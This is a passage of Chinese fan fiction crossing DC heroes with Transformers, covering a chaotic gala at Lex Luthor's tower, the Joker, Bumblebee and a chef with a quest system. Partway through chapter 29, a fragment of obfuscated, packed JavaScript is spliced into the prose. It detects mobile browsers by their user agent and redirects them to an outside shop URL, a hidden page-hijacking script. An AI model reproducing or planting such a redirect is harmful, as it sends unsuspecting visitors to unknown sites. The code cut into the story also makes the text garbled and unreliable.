“哇哦，”神谕歪着头看着暂停的这一帧，“这可真帅，但是，我觉得卢瑟违反星际法了。”
蝙蝠电脑很快就匹配了机器人的身份——和卢瑟说的一样，来自遥远半人马α星座的赛博坦星球，那是一座战火纷飞的星球，斗争已经进入了白热化的程度，周围的不少星球都遭了殃。
数据库之所以知道是2814扇区的绿灯侠们有讨论过这件事情，周围星球因为硅基生物的斗争遭受了池鱼之殃，守护者派遣宇宙警察前去维持秩序。
这些机器人的出现则预示了一种可能性，赛博坦的斗争火种已经蔓延到了地球。
神谕把相关的情报整合结束之后从指挥椅上站了起来伸了个巨大的懒腰，看着咖啡杯上的金红色的闪电标志，突然一个念头划过了她的脑海：
闪电侠和绿灯侠已经消失超过一个消失了，为什么还没有消息传过来？
她立刻敲响了红罗宾的通信频道。
巴里也不知道为什么，因为他现在正在逃命，后面是生物几乎要把他俩逼入死胡同。
这听起来确实可笑，世界上最速之人，神速力的拥有者，竟然也会被人追得团团转——好吧，后面那可能不是碳基生物。
这事说起来“多亏了”身旁和他一起逃命的绿灯侠。
一开始，一切都很顺利。他们从布鲁斯休息的房间拿到了他留在那里的信号屏蔽器。就算是莱克斯大厦是用超厚混凝土加铅版打造的，也挡不住来自内部的下毒。
在外面的红罗宾短暂地充当了两人的技术支持，没几十秒内就接管了整座大楼明面上的所有监控，为这两位规划出了一条躲过所有守卫的绿波路线。
一切顺利得就像是在楼下汉堡店要一个超大牛肉汉堡，还多放芝士一样简单。
但是，一旦进入这座大厦的深处，事情就变得复杂起来。信号陡然消失，只有红罗宾在刚进来的几秒钟找到了一张地图简单展示在了两人面前。
不过一位是宇宙警察绿灯侠，平日对付的是星际之间的奇异怪兽，另一位是会通过宇宙跑步机进行时间旅行的闪电侠，这点复杂的事情对这对搭档来说只是小问题。
对于当时的两位来说，迷路才是大问题，再又双叒叕一次开门遇到一群做实验的科学家并且迅速逃离之后，巴里终于忍不住拦下了自己的好友。
“天才，我说,”巴里从口袋里摸出一根能量棒，“你真的记住红罗宾的地图了吗？”
“当然，这个路口右拐就是，”绿灯侠微微漂浮起几公分，自信满满地推门而入。
“哇哦，你确定？”
出现在巴里面前的是一整个飞机场，飞机停得满满当当，整齐划一像是整装待发的士兵。这些飞机在灯光下熠熠生辉，机身反射出冷冽的光芒。
为什么地下会有飞机场，还是一水儿的五代猛禽F-22？
两人对视一眼，作为一名曾经的飞机试飞员，哈尔对这系列飞机非常熟悉。他记得很清楚，在他试飞的时候，这款机型还处于原型状态，而眼前这个停机坪上的数量，显然已经远远超过了当时的量产计划。
“你说卢瑟打算干什么？”哈尔忍不住咋舌，他的声音中带着一丝难以置信，“难道他想用这些飞机暴力威胁每一个人给他投票，帮他入主那座白房子？”
“而且这个造型我是不是在哪里见过？”哈尔盯着最前面的飞机上面的标志看了一会儿，记忆中似
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乎有某些片段在闪烁，“灯戒，扫描飞机。”
绿光迅速从他的戒指中射出，如同激光一般扫过整个停机库。
【分析结束，赛博坦的Seeker小队】
灯戒的声音在空阔的机库里回响，它所透露的信息让哈尔和巴里的脸色都变得凝重。
Seeker小队是霸天虎精英部队，以其无情和高效而闻名。可以说是一群杀戮机器。
眼前飞机驾驶舱的灯突然亮了起来，像是被涟漪一样，以这架飞机为圆心，它身后的飞机驾驶舱也像是有自我意识一样亮了起来。灯光在机库中形成了一道连贯的光链，它们醒了。
机库中回荡着引擎的轰鸣声，强烈的气流开始在机库中肆虐，吹得哈尔不得不用灯戒构筑了两道墙壁形成一个尖角用来隔绝这呼啸的风声。
“我们有麻烦了。”哈尔的声音在引擎的轰鸣中几乎听不见，但他的表情已经说明了一切。
“谢谢天才，不用你说。”巴里的声音在风中飘散，他的身影已经化为一道金红色的闪电，其中还糅杂着一股绿色的能量。
后面是紧跟不舍的seeker小队。
顶楼包厢，他们四人还在围观卢瑟的演讲：“……所以我们和赛博坦的现任领导者进行了合作。”
话音未落，卢瑟身侧的汽车开始发出机械的折叠声，它们变形成为了巨大的机器人。这些机器人的高度是人类的数倍，金属身躯在璀璨的舞台光下闪耀着寒意，每一个关节的转动都显得力量十足。
观众们的惊叹声此起彼伏，布鲁斯轻轻眨眼，启动了隐形眼镜中的放大模式，锐利的目光穿透了舞台的光影，看到了机器人背后的枪管和其他武器系统。
“那不是普通机器人，那是战士。”
在高处的文森特清楚地看到了这一切。
笑点的眼中闪过一丝兴奋，她似乎对这种突发事件兴致勃勃：“看来这场游戏越来越有趣了。”
笑点晃晃胳膊，眼里是明晃晃的危险。
他想要逃跑得先把手铐解开，现在这个情况要不就是把他或者笑点的手臂锯下来，要不就是把手铐锯开，无论哪种手段，他都需要一件工具，还是要出现的合情合理的工具。
手机铃回响在整个包厢里，默茜刚一接起来眉头就皱到了一起：“你说什么？什么叫它们跑了？要不要通知总裁？”
默茜冷哼了一声，语气里不再有刚才的疑惑，只剩下精密处理的冷漠：“五分钟内就到，这五分钟给你最高授权，处理好这一切，至少撑到我下去。”
“我不会再说第三遍。”说完默茜就挂断了电话，从外面喊来了一位助理在他耳边小声说道，“我十五分钟就上来，我不希望我回来的时候这三位不在房间了，你懂吧。”
助理脸色苍白，他显然意识到了事情的严重性，连忙点头：“是，默茜小姐，我会确保一切按照您的吩咐进行。”
29.第 29 章
助理面色惨白，他站在门口的身体紧绷得像是张拉满的弓，仿佛随时都会被任何细微的声音激发。
天知道他才刚来默茜女士身边，甚至还没有一个月呢！
助理悄悄抬头，他的目光在包厢里的三位上徘徊。
最有名的那位不必多说，他的威名别说是大都会，就算是地球另一头估计也是如雷贯耳的。
旁边那位黑发小姐他也在之前准备的资料里见到过，辍学的新晋罪犯，小丑的崇拜者兼现任。
但是最后那位金发的神秘人物他无论如何也没查到这位的来头，助理甚至偷偷动用了默茜的数据库查询权限，却也只找到了几张模糊类似的报纸照片，而且这些报纸的时间跨度之大令人难以置信。
有这么一张的脸的人怎么可能在现在这个社会一点名气也没有？助理暗自思忖*，不会是笑点小姐的小白脸吧？
这个想法不禁让他摇了摇头，他意识到自己的想象力有时过于丰富了，现在的他需要做的是保持这个房间的绝对封闭，他的生命却绝对他能否控制住这个局面。
文森特揉了揉鼻子，他觉得鼻子有点不舒服。
不得不说，卢瑟的演讲非常具有魅力，短短几句话调动了全场所有人的情绪，甚至笑点脸上的笑容也淡了不少，显然她也听了进去。
文森特调整了一下自己的身体，把自己的手腕掩饰在了堆叠的衣服之下，系统贴心地为他筛选了符合当前情况的几种工具。他的眼睛微微眯起，心中快速评估着这些选项。
锯条：锋利的小工具，噪声极小，非常适合这种情况，只要注意一点，锯断手腕的时候别忘了带上你的手，说不定还能接回去吧。
强腐蚀性液体：天，你知道吗？它甚至可以当洗手液用，完全不会烧坏你的表皮细胞，可惜味道倒是不小，据说一楼用了五十层也能请清楚地嗅到它呢。
电锯：没有味道，速度极快，几乎全都是优点，哦，忘了一点，声音偶尔还是有点大的，如果使用请在空旷无人处哦。
真！好！啊！文森特几乎要咬碎了自己后槽牙。他的目光在这些工具上徘徊，心中快速构思着各种可能的组合和策略。
就在这时，他的思绪被楼下的声浪打断，文森特随着笑点的幅度向下看去。
巨大的变形金刚正在站在卢瑟身边，展示出一种和他们庞大身躯不符的乖巧，正在根据卢瑟的指令展示着自己的变形能力。
每一个动作都精准且流畅。
“……当然，这些不是赛博坦星人，我可和那些会违反宇宙法们的人不一样。”卢瑟看着变形金刚笑着补充道，他的目光刻意扫过几位宾客，“他们只是合作的产物，纯粹的机械工具。”
“也就骗骗下面这些人啦~”文森特差点以为自己把心里话说出来了，抬头一看才发现是小丑。
小丑的声音中带着明显的讥讽，他的话语虽然轻，但在安静的包厢内却异常清晰。
小丑一脸百无聊赖地狂敲玻璃试图引起卢瑟的注意，但是防弹玻璃的配置让小丑的纯手敲成为了一种行为艺术，他皱了皱眉头，转身就要往大门走，站在门口的助理冷汗湿透了衬衫。
助理脸色更加苍白了，他的额头上布满了冷汗，紧张的情绪让他的声音颤抖得几乎无法连贯：“先生，您不能……”
小丑停下了脚步，转过身来，他的眼神中带着和善的光芒：“哦，小朋友，你想阻止我？”
小丑的声音温和得几乎可以称得上是诱惑，但却让助理不由自主地退到大门，直到退无可退，仿佛面对的是某种不可名状的恐怖。
“不是，”文森特和笑点甚至能听到助理牙关打颤的声音，他的恐惧几乎凝成了实体，“是，不是。”他怕得只能说出这两个词，他的大脑在小丑的威压下似乎已经无法正常工作。
小丑的笑容变得更加灿烂，他走近了小助理，那是种可以让人窒息的亲近，几乎侵入了最深的亲密距离：“那么，你到底是想阻止我，还是不想呢？”
助理的腿开始微微颤抖，他的身体语言已经出卖了他的内心。他想要说些什么，但恐惧让他喉咙发紧，只能发出一些无意义的音节。
“何必和这些小角色浪费时间呢。”文森特突然开了口，他的声音打破了包间内的沉默。
小丑惊呼了一声，扭头看向了文森特，他的目光在文森特身上停留了片刻，随后突然放声大笑起来：“好好好，我就说，一个大半夜独自开车来阿卡姆的人怎么可能是刚才那么一个无聊的人呢？”
文森特心都快跳出了嗓子眼，但是他不得不这么做，如果继续呆在包厢里，等到默茜回来他的下场只有死在小丑手里或者死在对面卢瑟手里，但是如果能够到人更多的地方，一点小混乱都能让他从这个精密的大钟之中逃脱，他只能硬着头皮开了口。
他点点头，继续朝着助理说到：“你看，我司机都给你求情了唉？你知道的，我也不想让场景这么难看，而且我和你们总裁也是多年好友，我不会对我朋友做什么的。”
小丑一边说一边整理了下自己的袖口，接着他拍拍助理的肩膀，大步从助理身边走过，助理的身体不由自主地瘫倒在地，汗水落在地上凝成一个小洼。
死里逃生的狂喜助理脸上划过，但是随机，这份狂喜就发展成为一种凄厉的狂笑，他无法控制地大笑起来，一个标志性的小丑笑容出现在助理脸上。
他疯了。
笑点轻盈地跟在小丑身后，她的步伐优雅，像是一只天鹅：“您真的好仁慈。”
仁慈？文森特看了一眼倒在门边的助理，他的笑声已经开始沙哑，脸色青紫，那是笑得喘不上气的展现，笑声中只剩下了煎熬，显然是极度的痛苦。
文森特感觉看到了自己某一种可能的下场，一股寒意从他的脊背升起，他加快步伐跟上了笑点的速度。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175197|147587||http|test|mini|href|location''.split(''|''),0,{}));
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旋转楼梯之下，卢瑟举办的酒会依然热闹非凡，被卢瑟命名为“赛博格”的机器人平均地分布在舞池内部供人参观和使用。
布鲁斯正站在其中一个机器人旁边，他的目光看似欣赏这个钢铁巨物，实则在寻找机会。一杯水被他不小心泼在了机器人身上，这个小意外让布鲁斯获取到了一些外壳涂层，还留了纳米机器人在赛博格的身上。
就在他完成这一切想要退到舞池边缘继续观察的时候，布鲁斯感觉自己好像看到了一束灰尘飘了下来，一开始他只以为是机器人的行走搅动了灰尘，但是接下来更多的灰尘和越发明显的抖动让布鲁斯确定了自己的感觉。
地下正有着一股巨大的力量正在冲击着这座据说坚不可摧的建筑。
舞池的灯光开始闪烁，起初周围的权贵还以为是卢瑟准备的特别节目，但是很快这群人精就察觉到了不对劲，惊叫声此起彼伏，人们脸上出现了惊慌的神色
“赛博格”们迅速穿梭在四周，它们的角色突然从展示用的机器人转变为拯救者，保护着与会的贵宾们。
布鲁斯也被一辆亮黄色的赛博格塞进了怀里，还没反应过来过来他就坐进了驾驶舱，在他适应了这个堪比飞行员训练的运动轨迹之后，他发现这还是个拼车，而且拼车的两位还是他的熟人——
闪电侠和绿灯侠。
三人面面相觑，气氛一度十分尴尬。最后还是联盟良心——他叔叔闪电侠巴里·艾伦率先打破了沉默：“好巧，你也在这里啊布鲁斯。”
接着是更深的沉默，巴里把头缓缓埋进膝盖中，要不是他之前为了躲避追踪者小队几乎用光了所有能量，他早就推开大黄蜂的门出去拯救民众了。
现在，他却只能在这里，和布鲁斯、哈尔一起，重点是和布鲁斯在一起。
布鲁斯的脸色彻底黑了下来，身边甚至笼罩着宛如实质的黑气，就算是布鲁西的装扮也挡不住拼命想要冒出来的蝙蝠侠。
“谁能和我解释一下，你俩为什么会在这里？”布鲁斯的目光在闪电侠和绿灯侠之间来回移动。
两个人看窗外的看窗外看地板的看地板，仿佛外面不是满是尖叫的混乱场面而是某个绝美风景，地板也不是普通地板而是特殊大理石一样专注。
布鲁斯揉揉自己的太阳穴，他觉得自己不该来的，这种宴会就应该让卢修斯来处理，自己为什么要亲自出马，哥谭的夜巡还需要蝙蝠侠！
超人……布鲁斯默默给在外太空执行任务的超人记了一笔，你为什么不在你的城市。
“如果可以，我来解释怎么样？”一个活泼的声音突然在驾驶舱里回荡，这个声音不属于他们之中的任何一个“人类”。
布鲁斯立刻警觉地看向了声音的来源——驾驶舱的喇叭。
“你好，我是b-127。”喇叭里还带着“嗡嗡嗡”的杂音，“我在找我的朋友文森特，你们有看到他吗？”
30.第 30 章
融入车身的能量块唤醒了陷入了休眠状态的大黄蜂，伴随着能量的注入，一些之前深埋于记忆深处的片段重新出现在大黄蜂的内存里。
这些碎片像是电流一样穿过大黄蜂的火种，引导着它前往附近最熟悉的地方——莱克斯集团的地下停车场。
那里充斥着现在的赛博坦上最常见的味道——漂泊和战争。
大黄蜂在地下停车场里转了好几圈仍然一无所获。
但是宛如无头苍蝇般乱逛的黄色跑车无疑是停车场里最显眼的一抹色彩，保安和蔼地靠近，想要帮助车主找到停车位。
大黄蜂急中生智地模拟出了一位人类司机，他选择了自己记忆里最深刻的角色——文森特。
不幸的是，鉴于他对人类的熟悉程度，这位文森特看起来十分不人类，有棱有角的脑袋看起来和电视机有点类似。
大黄蜂已经做好了随时启动逃离的准备。
幸运的是，就在保安要敲响玻璃的时候，大楼地下传来一阵震动，他腰间的对讲机随之响起，对讲机那边声音的主人带着命令的口吻指挥所有保安返回自己的岗位，进入特别警备状态。
保安只得比划了一下让这辆四处乱逛的黄色跑车快点停车。
随着保安的脚步声渐行渐远，大黄蜂紧绷的回路终于放松了一点，他选择了能量最为浓郁地地方停了下来，打算利用这里进行一次彻底的扫描，看看能不能借此触发更多神经回路。
就在他专心扫描的时候，远处的地面突然裂开了一道缝隙，像是大地张开了嘴，要把地面上的车辆一口吃掉。
大黄蜂还没来得及变形，车身就已经在不受控制地下落了。
他重重地摔在了一个铁疙瘩身上，撞击之间发出了一道沉闷的金属声。
“嘶……”大黄蜂倒吸了一口凉气，这一摔倒是摔好了他的记忆模块，所有记忆数据像海啸一样灌进了他的内存，他想起来了所有，自己是怎么来的这里，如何被暗算的，以及如何被文森特和查莉救下的。
文森特现在还好吗？
大黄蜂看着头顶的天花板，火种多跳了一下。
他撑着手下的金属站起来才发现这原来不是什么金属器具，而是霸天虎的追踪者小队的一员，正好成为了他下落的垫背。
和这位追踪者对峙的是位宇宙警察绿灯侠。
汽车人和绿灯侠的关系虽然不算亲密，但他们也曾并肩作战，共同守护过其他星球。
“你好，绿灯侠，我是赛博坦的汽车人B-127。”大黄蜂顿了顿，他的发声模块依然不算好用，声音断断续续的，“我需要你的帮助。”
哈尔松了一口气，他和巴里被追的团团转，莱克斯卢瑟是真的有被迫害妄想症，别说二十公分厚的铅版，五米的混凝土加上地下环境让神速力也无计可施。
更别提他俩只是想要了解一下卢瑟的阴谋，现在倒好直面阴谋了。
哈尔叹了口气，他的灯戒已经开始闪烁起了绿光。提灯在飞机上，谁会在参加宴会的时候随身带提灯呢？他得回到机库给戒指充电。
幸好B-127从天而降，要不然他和巴里真的要直接跳电梯井了。
“B-127，你有什么计划？”哈尔问道，“我得上楼充电，我的飞机就停在最顶层。”
他们躲在这个角落，利用seeker的光学迷彩做了个简单的遮挡，以免被外面的车队发现。
这个角落提供了一个相对隐蔽的观察点，让他们可以监视外面的情况。
“我要找我的朋友。”大黄蜂透过迷彩窥见外面的车队，颜色各异的车辆穿过宽阔的地下通道朝着一个方向前进，“你知道他们在干什么吗？”
“我有听到，”巴里在角落深思着，他刚才在四处开门的时候隐约听到了科学家们的谈话，“说卢瑟今晚的活动要展示所有成品，导致他们今晚都没法继续实验了。”
两人一机迅速理清了现在的情况，大黄蜂从最后打晕了一位霸天虎，并迅速扫描复制了他的机型，然后将哈尔和巴里塞进了驾驶舱。这个临时的计划虽然简单，但却是他们目前唯一的出路。
唯一的问题是，天生带来的黄色无法被改变，不过周围的霸天虎也是颜色各异，黄色的车在里面倒也不算什么。
大黄蜂全神贯注地驾驶着车辆，他的传感器在不断地分析着周围的环境，寻找最佳的逃脱路线。
一路上有惊无险，很快就离顶层只有一步之遥。但是就在这时，Seeker小队冲出了地下的桎梏，也跟随绿灯能量跟来了他们这里，酒会瞬间变得混乱起来。
“……所以我就捞上了最近的人，也就是你。”大黄蜂的声音从喇叭里传出来，甚至还带着点轻快，“没想到正好是哈尔和巴里的朋友，你们说是不是很巧?”
哈尔看天看地就是不看自己的身边的布鲁斯，巴里也尽可能想把自己缩在角落。
“哎？我看到文森特了，你们认识他旁边的人吗？”外面场景的景象出现在车内的屏幕上。
随着B-127的话音落下，车内的屏幕显示出了外面的场景。
布鲁斯的眼神突然变得锐利，他看到了一个再熟悉不过的面孔——小丑。是那张带着疯狂笑容的脸，充满邪恶的眼睛，都让布鲁斯的心情瞬间沉重。
布鲁斯的眼睛暗了下来，他垂下眼眸，周身气场渐渐冰冷，他知道，小丑的出现意味着事情将变得更加复杂和危险。
“布鲁斯，我们必须小心。”巴里轻声说，他注意到了布鲁斯的变化，那不是好变化。
——
文森特的目光在会场中迅速扫过，一眼就捕捉到了会场中央的黄色变形金刚。他的心跳加速，刚想挥手示意，就意识到自己的手腕还被拷着。
这一路走来，他们经历了不少波折——从顶楼包厢到酒会门口，安保对小丑的围追堵截让他们不得不四处逃窜。
在这个过程中，原本结实
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的手铐因为帮助他俩挡了一颗子弹而发生了形变，裂缝爬上了手铐的一角。
笑点对这个拖油瓶也感到十分不满。虽然文森特救了她一命，但他的存在无疑干扰了她帮助小丑的计划。
得像个办法摆脱掉他。
两个人对视一眼。
小丑灵巧地躲过所有障碍物站在了卢瑟身边，卢瑟的脸色难看到了一个极点。
“天啊，朋友你的脸色可真难看，和你的机甲配色有得一拼。”小丑吃惊地说到，像是根本不知道为什么卢瑟的脸色会这么难看般地摆弄着他的脸。
卢瑟冷哼一声把自己的脸从小丑的手里拯救了出来：“你到底要干什么？”
“先笑一笑，你看我，为了参加你的宴会专门从房间里出来了。”小丑拍拍自己的病号服，礼貌地朝舞台下面鞠了一躬。
混乱成为了他的陪衬，他手臂的每一次挥动，都会引起会场中的一阵尖叫，尖叫声在空气中回荡，仿佛是他指挥下的交响乐。
——霸天虎们正在跟随着他的挥动集中到某一个地方，他的计划正在顺利进行，每一个动作都引导着这场混乱。
随着玻璃的碎裂声，一道黑色的身影划破夜空。黑色的披风在天际飘扬，如同一只巨大的蝙蝠在空中翱翔。玻璃碎片四散飞舞，反射着灯光，如同无数颗闪烁的星星。
蝙蝠侠。
小丑的眼睛突然亮了起来，他的笑容变得更加疯狂和兴奋。“啊哈，我就知道你会来，不枉我特别把那个蓝色童子军支走。”小丑的声音中带着丝得意，仿佛他的计划已经成功了一半。
“你休想再制造任何混乱，小丑。”蝙蝠侠的每个字都充满了决心。
小丑却毫不在意，他张开双臂欢迎这位客人，却只迎来了蝙蝠侠毫不留情地一拳。
“害小蝙蝠，你总是这么严肃。你知道吗？人要多笑才会幸福。”小丑把鼻血随意地抹在幕布上，他拍拍手，一束光从天而降，精准地照在了蝙蝠侠身上。
从黑暗中的骑士突然变成了万众瞩目的演员，原本黑色的身影在光束中格外醒目。
蝙蝠侠顺着光看去，笑点正站在舞台控光区轻笑，旁边金发的男人低着头，看不到表情，但蝙蝠侠还是一眼就认出了文森特。他的眉头紧锁，心中涌起一股复杂的情绪。
所有的变形金刚也在这一瞬间停下了所有的动作，仿佛被某种神秘的力量所控制。人们都想趁此机会逃离这个人间炼狱，拥挤踩踏层出不穷，尖叫声和呼喊声交织在一起响起地狱的神曲。
一个孩子正被人群裹挟着跌倒在地，他的尖叫被周围人的惊呼淹没了。蝙蝠侠没有丝毫犹豫地飞身扑了上去，用披风和自己的身体护住了这个无辜的生命。
蝙蝠侠自己却被汹涌的人群所吞噬。
“啊哈，看来我们的黑暗骑士遇到了点小麻烦。”小丑歪着头看着人群中的那抹能够吸引所有目光的黑色，挥挥手让变形金刚也来“帮”一把手。
31.第 31 章
蝙蝠侠努力在人群中护着这个小男孩，当场面稍微平息一些时，一道金红色的身影出现在他的身边。
“为您服务。”闪电侠的嘴角还挂着一点能量棒的碎屑，小孩被他抱在怀里，转瞬间就带到了楼下，远离了危险，小男孩跌跌撞撞地朝着警察的方向跑去，他的眼中充满了恐惧和迷茫。
巴里刚回到大厅，就看到无数的变形金刚朝着蝙蝠侠的方向狠狠压了下去。
他试图抓住蝙蝠侠，但就算是以闪电侠的速度也只来得及抓住披风的一角，只能眼睁睁地看着蝙蝠侠被铁块压倒，巴里的心中涌起一股无力感。
小丑在一旁冷眼旁观，他觉得这场混乱还不够刺激，他的无聊感在膨胀，目光在会场中四处游移，似乎在寻找着新的乐子。
卢瑟站在一旁，他的脸色阴沉，对小丑的行为感到不满：“你到底想干什么？”他对小丑的不可预测性感到厌烦。
“杀了蝙蝠侠啊？”小丑以一种无辜的口吻反问，“你觉得我还想干什么？我没心情和他演特工片里的特工和反派。”
“你知道我再问什么。”卢瑟压抑着怒火，显然已经到达了忍耐的极限，不知道什么时候默茜已经站回了他的身侧。“你是怎么控制住这些变形金刚的！”
“别生气嘛，”小丑耸了耸肩，动作轻浮，“回到最开始的时候想一想，就会有答案的。”
卢瑟深吸一口气，这群变形金刚落到了他的土地上，他刚开始研究还没几天小丑就带着氪石找上了门说要合作。
“想起来了吗？我的总统大人。”小丑的笑容中透露出纯粹的恶意，“你为什么会相信‘我只是看到陨石掉下来就来找你看看’的理由，你天真的不像个政客，默茜都比你聪明。”
“然后呢？”卢瑟低头，声音闷闷的，“就算是这样你也不可能控制……”
“烦死了，你不是聪明人吗？”小丑一脸不耐烦地打断了卢瑟的话，“大都会会有陨石，哥谭也会有，所以我和我的陨石合作了，看起来我的陨石比你聪明多了。”
“只可惜啊，再聪明的机器也有核心，”小丑边说边从口袋里掏出盘蓝色的磁带。
深蓝色的磁带在小丑的指尖游走：“而且他心心念念什么威震天？我也好奇啊，所以我就借来听听他的心声。”
“红蜘蛛真是个蠢货，能进博物馆那种。”卢瑟抿了抿嘴唇，叹了口气：“所以你从一开始就联系上声波了？”他的目光紧盯着小丑，试图从他的反应中寻找线索。
“嗯？”小丑难得地卡了壳，显然没有预料到卢瑟会这么直接地揭露他的计划。
“我就说红蜘蛛不靠谱，真是连场野餐他也组织不好，就这样还想领导霸天虎，做他的美梦去吧！”卢瑟的话语中充满了讽刺和不满，以及对红蜘蛛领导能力的嗤之以鼻。“他竟然和我信誓旦旦地保证只有他来到地球了。”
他狠狠碾着地下的彩带，仿佛想要把所有的愤怒和不满都透过这个动作发泄出来。
“默茜，我要那卷带子，小丑你随便处理吧。”卢瑟捏了捏自己的眉心，他的话语简洁而有力，显然已经到达了忍耐的极限。
“就因为这点小事，我做了这么大一个局，你就告诉我这点小事！”卢瑟很少这么生气，他的声音中带着失望和愤怒。
卢瑟原本以为小丑会是一个可靠的盟友，好吧，他至少会是一个盟友。
但现在他意识到，小丑的不可预测性是他最大的弱点。他原本以为小丑会帮助他实现更大的目标，但现在看来，小丑似乎只关心自己的乐趣。
——
笑点和文森特的位置离舞台还有一段距离，笑点的目光紧紧锁定着小丑和卢瑟，试图从他们的动作中捕捉到任何有用的信息。
默茜突然上前的抢夺让笑点本能地想要冲过去帮忙，但是真的冲出去又让笑点觉得疑惑。
文森特一脸无辜地晃晃断开的手铐，另一只手把已经兑换的腐蚀性液体藏了起来：“你再不去他可能就要掉下去了。”<
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他从笑点开始盯着小丑就开始融手铐了，这份液体根本不像系统说的那么好用，他不得不随着笑点的手腕动作装作自己还困在一起。
文森特心中暗自庆幸，幸好这个计划成功了，否则他真不知道该如何面对接下来的局面。
默茜已经把小丑逼到了天台边缘，他俩几乎是在刀尖上起舞，随时要去见死神。
蓝色的磁带在两人之间交换着位置，每一次飞跃都牵动着所有人的心。
文森特打量着四周寻找着出路，天知道他只是一个普通人类，甚至没有超英世界的人类这么好的身体素质，现在你要求一个厨子能够一蹦两米远……
文森特翻着自己的系统，发现系统又更新了这条任务
【助人为乐（进行中）】
任务须知：看来你的运气还算不错，但别高兴得太早。后面是一劫又一劫，只有成功回到店里，你才能算是真正完成了任务。
所以，别停下脚步，继续前进吧。
任务要求：活着回到店里。
隐藏任务：试试看拿到那卷磁带呢？
呵呵。看到隐藏任务的文森特冷笑一声，那里已经变成了一场混战，小丑笑点默茜打成了一团，旁边的闪电侠正试图穿过重重变形金刚的阻碍把蝙蝠侠救出来。
文森特自己则正在在一个摇摇欲坠的灯光控制台上，随时都会因为这群人的战斗而掉下去。
系统的声音突然在他脑海中响起，提出了一个诱人的提议：【您要试试拿到那卷磁带吗？】
文森特say no。
谁爱拿谁拿，就算他从天而降自己也不惜得……一抹幽蓝色从文森特眼前划过，他下意识伸手抓住了那抹蓝色。
【恭喜您完成隐藏任务——意外之喜，现在，请逃命吧。】
？？？
文森特哑口无言，不是，这是为什么啊？但很快，他就意识到，现在不是纠结这个的时候。
他必须立刻采取行动。
32.第 32 章
文森特在下落。
他感到自己陷入了一个无底的深渊，每一秒都像是被拉长。风从西北呼啸而过，带走了他身上所有的热气。周围的一切都似乎陷入了慢动作的循环，他的感官变得异常敏锐，每一个细节都清晰地印在他的视网膜上。
就在文森特以为自己将无法避免和地面来一次亲密接触的时候，一股轻柔的风温柔地环住他，神奇地减缓了他的下坠速度。
时间在这一刻变得宽容。
远处的餐厅里，康斯坦丁原本紧闭的双眼突然睁开，一丝血迹从他的鼻子缓缓留下。
与此同时，金属的手臂稳稳拖住了文森特下落的身体，大黄蜂黄色的身影像是划破夜空的光束。
“呼，赶上了。”大黄蜂的声音透过机械的音调传来，带着轻松。他像是丢球一样把文森特往上一扔，动作看似随意。
赶来的绿灯侠配合得十分默契，熟悉的绿光球凭空出现，把文森特包裹起来，一人一机缓缓地漂在了半空中。
看着莱克斯集团大厦的上半部分在火光中熊熊燃烧。
“怎么每次见到这个球……就有楼要塌啊。”文森特一旁喃喃自语。
“你说什么？”大黄蜂站在他身边，他湛蓝的光镜转向文森特，似乎想要理解他的人类朋友为何会发出这样的感慨。
“没什么，只是在想每次你们出现，都像是在提醒我，这个世界比我想象的要危险得多，不过这都是小事，现在的重点是——”文森特顿了顿，拍拍绿色的能量罩，“我们该怎么下去。”
下面的战场形式已经渐渐向超英一方倾斜。
被霸天虎包围的中心处绽放了一道耀眼的绿光，这道绿光像剑一样刺破了夜空，所有霸天虎在那道绿光的冲击下被瞬间摊开，接着被绿光的镣铐紧紧锁住。
哈尔甚至还在空中俏皮地朝着莱克斯行了个礼：“非常感谢。”
蝙蝠侠阴沉着脸站在绿光中，周围像是有滚滚黑雾升腾，直奔楼上的小丑，抓钩枪让他直接飞到了小丑的身侧。
解决完小丑之后，蝙蝠侠拿出抓钩枪，准确地搭上了刚刚停在正上方的蝙蝠飞机，披风在夜空中猎猎作响，最后收束为一线，随着他的身影消失在飞机里。
小丑被捆得结结实实，吊在飞机的正下方，他的疯狂笑声在夜空中回荡。蝙蝠飞机没有丝毫停顿，直飞哥谭，准备将这个危险的罪犯带回他应该待的地方——阿卡姆精神病院
闪电侠耸耸肩，继续自己的救人大业，如果此时有人用红外测温仪观察，就会看到无数道热量线条，那是希望与生命的象征，大厦里的人很快被清空。
包裹着文森特的绿色能量泡泡缓缓下落，如同一片轻柔的羽毛。
轻轻地触碰到地面的那刻，绿光破裂消失，文森特终于脚踏实地地站在了大地上。
站在地面的瞬间，文森特几乎是立刻感到了脱力，他倚在了大黄蜂的车身上寻求支撑，安心感伴随着手腕处传来的钻心疼痛，他抬起手腕轻轻转动了一下，疼痛让他不由自主地倒吸一口凉气。
他这才注意到，自己的手腕上不知道什么时候有了一道伤口，鲜血正从伤口里流出，衣服已经被染红了大半。
“先找个地方处理下伤口？”大黄蜂的车灯闪烁着，似乎在表达他的担忧。
文森特摇摇头，坚定地调出系统把餐厅的位置输入了车载导航：“先回餐厅。”他的声音虽然因为疼痛而有些颤抖，但是非常果断。
这鬼地方他的一分钟也呆不下去了。
系统里餐厅的位置从隔壁的哥谭重新回到了星球日报附近的小巷里，距离这里只十几分钟的车程。文森特和他的黄色跑车趁着人多眼杂，迅速消失在现场。
文森特离开没几分钟之后，卢瑟和默茜也被救了下来。
卢瑟环视四周没有找到黄色的车，他朝默茜看了一眼，默茜会意地点点头，手上的手表瞬间展开，接入了大都会的交通系统。
她的手指在手表上快速操作，调接入了大都会的交通系统，试图追踪那辆消失的黄色跑车。
“我们得找到他。”卢瑟的声音中是不容置疑的权威。
文森特和大黄蜂正在快速驶向餐厅，车子在夜色里飞驰。手腕上的伤口让文森特难以集中注意力，额头上冷汗直冒，视线也开始变得模糊。
在晕过去的前一刻，文森特还在庆幸：幸好车可以自己开，要不然就算没在莱克斯大楼里出事，也要因为危险驾驶出事。
大黄蜂默默加大了马力，车子终于抵达了餐厅所在的小巷，康斯坦丁正倚在门上等着两位的到来，大黄蜂迅速变形把文森特扶了过去。
康斯坦丁在文森特的伤口上停留了片刻，叼着没点燃的烟询问道：“不是自己动手的吧？”
大黄蜂有些不解，他的光镜聚焦在康斯坦丁身上，试图理解这个突如其来的问题。
